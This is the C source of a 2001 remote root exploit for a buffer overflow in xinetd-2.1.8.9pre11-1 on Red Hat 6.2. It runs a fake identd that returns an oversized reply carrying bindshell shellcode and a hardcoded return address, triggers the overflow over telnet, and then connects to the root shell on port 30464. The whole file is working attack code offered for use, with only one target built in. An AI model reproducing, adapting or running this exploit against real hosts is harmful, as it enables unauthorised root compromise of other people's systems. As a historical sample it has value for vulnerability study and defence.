/*
 * xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit
 * by qitest1 28/06/2001
 *
 * This is a proof of concept code for the exploitation of the bof
 * present in xinetd-2.1.8.9pre11-1. Read the advisories first. The
 * code uses a single-byte corruption of the fp, as explained by klog.
 * sc_addr_pos is the position, from the beginning of the writable
 * area, where a pointer to the nop will be placed.
 *
 * For ethical reasons just one hardcoded target type will be provided. 
 * Its values work only against one of the bugged 'pre' releases of 
 * xinetd, installed on my Red Hat 6.2 box. Not for kiddies.
 *
 * Greets: zen-parse, for having found this bug
 *	   klog, for his paper about the fp corruption
 *	   all my friends on the internet =)
 *
 * 100% pure 0x69. =)   
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define MY_PORT         1
#define THEIR_PORT      23
#define IDENTD_PORT     113
#define FIRST_PAD       1009

struct targ
{
  int def;
  char *descr;
  unsigned long int retaddr;
  int sc_addr_pos;
};

struct targ target[] = {
  {0, "Red Hat 6.2 with xinetd-2.1.8.9pre11-1", 0xbffff44b, 985},
  {69, NULL, 0}
};

char shellcode[] =              /* Taeho Oh bindshell code at port 30464 */
  "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
  "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
  "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
  "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
  "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
  "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
  "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
  "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
  "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
  "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
  "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

char zbuf[1024], host[512];
int sel = 0, offset = 0;

int sockami2 (char *host, int my_port, int their_port);
void fake_identd (void);
void l33t_buf (void);
static void keep_clz (void) __attribute__ ((destructor));
void shellami (int sock);
void usage (char *progname);

int
main (int argc, char **argv)
{
  int sock, cnt;

  printf ("\n  xinetd-2.1.8.9pre11-1 exploit by qitest1\n\n");

  if (getuid ())
    {
      fprintf (stderr, "Must be root babe\n");
      exit (1);
    }

  if (argc == 1)
    usage (argv[0]);
  host[0] = 0;
  while ((cnt = getopt (argc, argv, "h:t:o:s:")) != EOF)
    {
      switch (cnt)
        {
        case 'h':
          strncpy (host, optarg, sizeof (host));
          host[sizeof (host)] = '\x00';
          break;
        case 't':
          sel = atoi (optarg);
          break;
        case 'o':
          offset = atoi (optarg);
          break;
        case 's':
          target[sel].sc_addr_pos = atoi (optarg);
          break;
        default:
          usage (argv[0]);
          break;
        }
    }
  if (host[0] == 0)
    usage (argv[0]);

  printf ("+Host: %s\n  as: %s\n", host, target[sel].descr);
  target[sel].retaddr += offset;
  printf ("+Using: retaddr = %p and sc_addr_pos = %d...\n  ok\n",
          target[sel].retaddr, target[sel].sc_addr_pos);
  printf ("+Starting fake_identd...\n");
  fake_identd ();
  return;
}

int
sockami2 (char *host, int my_port, int their_port)
{
  struct sockaddr_in address;
  struct sockaddr_in my_addr;
  struct hostent *hp;
  int sock;

  sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock == -1)
    {
      perror ("socket()");
      exit (-1);
    }

  hp = gethostbyname (host);
  if (hp == NULL)
    {
      perror ("gethostbyname()");
      exit (-1);
    }

  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons (my_port);
  my_addr.sin_addr.s_addr = INADDR_ANY;
  bzero (&(my_addr.sin_zero), 8);

  if (bind (sock, (struct sockaddr *) &my_addr,
            sizeof (struct sockaddr)) == -1)
    {
      perror ("bind()");
      exit (1);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (their_port);

  if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1)
    {
      perror ("connect()");
      exit (-1);
    }

  return (sock);
}

void
fake_identd (void)
{
  int sockfd, new_fd, sin_size, rem_port, loc_port, i;
  char rbuf[1024], sbuf[1024], cif[6], *ptr;
  struct sockaddr_in my_addr;
  struct sockaddr_in their_addr;

  printf ("  fake_identd forking into background\n");
  if (!fork ())
    {
      if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
        {
          perror ("socket()");
          exit (1);
        }

      my_addr.sin_family = AF_INET;
      my_addr.sin_port = htons (IDENTD_PORT);
      my_addr.sin_addr.s_addr = INADDR_ANY;
      bzero (&(my_addr.sin_zero), 8);

      if (bind (sockfd, (struct sockaddr *) &my_addr,
                sizeof (struct sockaddr)) == -1)
        {
          perror ("bind()");
          exit (1);
        }

      if (listen (sockfd, 1) == -1)
        {
          perror ("listen()");
          exit (1);
        }

      while (1)
        {
          sin_size = sizeof (struct sockaddr_in);
          if ((new_fd = accept (sockfd, (struct sockaddr *) &their_addr,
                                &sin_size)) == -1)
            {
              perror ("accept()");
              continue;
            }

          /* Fake session 
           */
          memset (rbuf, 0, sizeof (rbuf));
          recv (new_fd, rbuf, sizeof (rbuf), 0);

          /* Parsing of query
           */
          ptr = rbuf;
          i = 0;
          while (*ptr != ',')
            {
              cif[i] = *ptr;
              *ptr++;
              i++;
            }
          sscanf (cif, "%d", &rem_port);
          memset (cif, 0, sizeof (cif));
          *ptr++;
          i = 0;
          while (*ptr != ' ')
            {
              cif[i] = *ptr;
              *ptr++;
              i++;
            }
          sscanf (cif, "%d", &loc_port);

          l33t_buf ();

          memset (sbuf, 0, sizeof (sbuf));
          sprintf (sbuf, "%d,%d:USERID:%s\r\n", rem_port, loc_port, zbuf);
          send (new_fd, sbuf, strlen (sbuf), 0);

          memset (rbuf, 0, sizeof (rbuf));
          recv (new_fd, rbuf, sizeof (rbuf), 0);

          /* End
           */
        }
    }
  return;
}

void
l33t_buf (void)
{
  int i, n = 0;

  memset (zbuf, 0, sizeof (zbuf));
  for (i = 0; i < FIRST_PAD; i++)
    zbuf[i] = '\x69';

  memset (zbuf, 0x90, target[sel].sc_addr_pos - 1);
  for (i = target[sel].sc_addr_pos - strlen (shellcode);
       i < target[sel].sc_addr_pos; i++)
    zbuf[i] = shellcode[n++];

  zbuf[target[sel].sc_addr_pos + 0] =
    (u_char) (target[sel].retaddr & 0x000000ff);
  zbuf[target[sel].sc_addr_pos + 1] =
    (u_char) ((target[sel].retaddr & 0x0000ff00) >> 8);
  zbuf[target[sel].sc_addr_pos + 2] =
    (u_char) ((target[sel].retaddr & 0x00ff0000) >> 16);
  zbuf[target[sel].sc_addr_pos + 3] =
    (u_char) ((target[sel].retaddr & 0xff000000) >> 24);

  return;
}

void
keep_clz (void)
{
  int sock;

  if (host[0] != 0)
    {
      printf ("+Causing an auth request to our fake_identd\n");
      sock = sockami2 (host, MY_PORT, THEIR_PORT);
      printf ("  done\n");
      close (sock);

      printf ("+Enjoy your root shell...\n  0x69 =)\n");
      sleep (1);
      sock = sockami2 (host, 6969, 30464);
      shellami (sock);
    }
}

void
shellami (int sock)
{
  int n;
  char recvbuf[1024], *cmd = "id; uname -a\n";
  fd_set rset;

  send (sock, cmd, strlen (cmd), 0);

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (sock, &rset);
      FD_SET (STDIN_FILENO, &rset);
      select (sock + 1, &rset, NULL, NULL, NULL);
      if (FD_ISSET (sock, &rset))
        {
          n = read (sock, recvbuf, 1024);
          if (n <= 0)
            {
              printf ("Connection closed by foreign host.\n");
              exit (0);
            }
          recvbuf[n] = 0;
          printf ("%s", recvbuf);
        }
      if (FD_ISSET (STDIN_FILENO, &rset))
        {
          n = read (STDIN_FILENO, recvbuf, 1024);
          if (n > 0)
            {
              recvbuf[n] = 0;
              write (sock, recvbuf, n);
            }
        }
    }
  return;
}

void
usage (char *progname)
{
  int i = 0;

  printf ("Usage: %s [options]\n", progname);
  printf ("Options:\n"
          "  -h hostname\n"
          "  -t target\n"
          "  -o offset\n" "  -s sc_addr_pos\n" "Available targets:\n");
  while (target[i].def != 69)
    {
      printf ("  %d) %s\n", target[i].def, target[i].descr);
      i++;
    }

  exit (1);
}
